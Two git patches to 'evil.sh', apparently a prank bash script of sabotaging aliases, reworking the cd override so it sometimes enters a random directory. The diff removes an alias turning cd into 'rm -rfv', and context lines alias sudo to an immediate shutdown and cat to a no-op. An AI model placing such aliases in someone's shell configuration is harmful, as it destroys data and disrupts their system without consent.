From 59a88527534735fe4d5f6ce5841bae4f6ba1fb72 Mon Sep 17 00:00:00 2001 From: Felix Van der Jeugt Date: Mon, 22 Sep 2014 20:29:42 +0200 Subject: [PATCH 1/2] checkout random directories --- evil.sh | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/evil.sh b/evil.sh index b7cddd6..55350f3 100755 --- a/evil.sh +++ b/evil.sh @@ -16,8 +16,17 @@ alias cat=true; # Use a random sort option whenever `ls` is invoked. function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; } -# Delete directories instead of entering them. -alias cd='rm -rfv'; +# Checkout random directories at unexpected times. +unalias cd 2> /dev/null +alias oldcd=cd +function randomcd() { + if ((RANDOM % 5)); then + oldcd $* + else + oldcd $(ls -aF | grep '/' | sort -R | head -1) + fi +} +alias cd=randomcd # Shut down the computer instead of running a command with super-user rights. alias sudo='sudo shutdown -P now'; From fd45ae9cb560817316afddebe9adcf91578661a1 Mon Sep 17 00:00:00 2001 From: Jonathan French Date: Mon, 28 Mar 2016 21:31:50 +0100 Subject: [PATCH 2/2] tweak random cd and match style --- evil.sh | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/evil.sh b/evil.sh index 55350f3..5fc2087 100755 --- a/evil.sh +++ b/evil.sh @@ -17,14 +17,12 @@ alias cat=true; function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; } # Checkout random directories at unexpected times. -unalias cd 2> /dev/null -alias oldcd=cd function randomcd() { - if ((RANDOM % 5)); then - oldcd $* - else - oldcd $(ls -aF | grep '/' | sort -R | head -1) - fi + if [[ $[$RANDOM % 5] != 0 ]]; then + builtin cd $* + else + builtin cd "$(find . -maxdepth 1 -type d | sort -R | head -1)" + fi; } alias cd=randomcd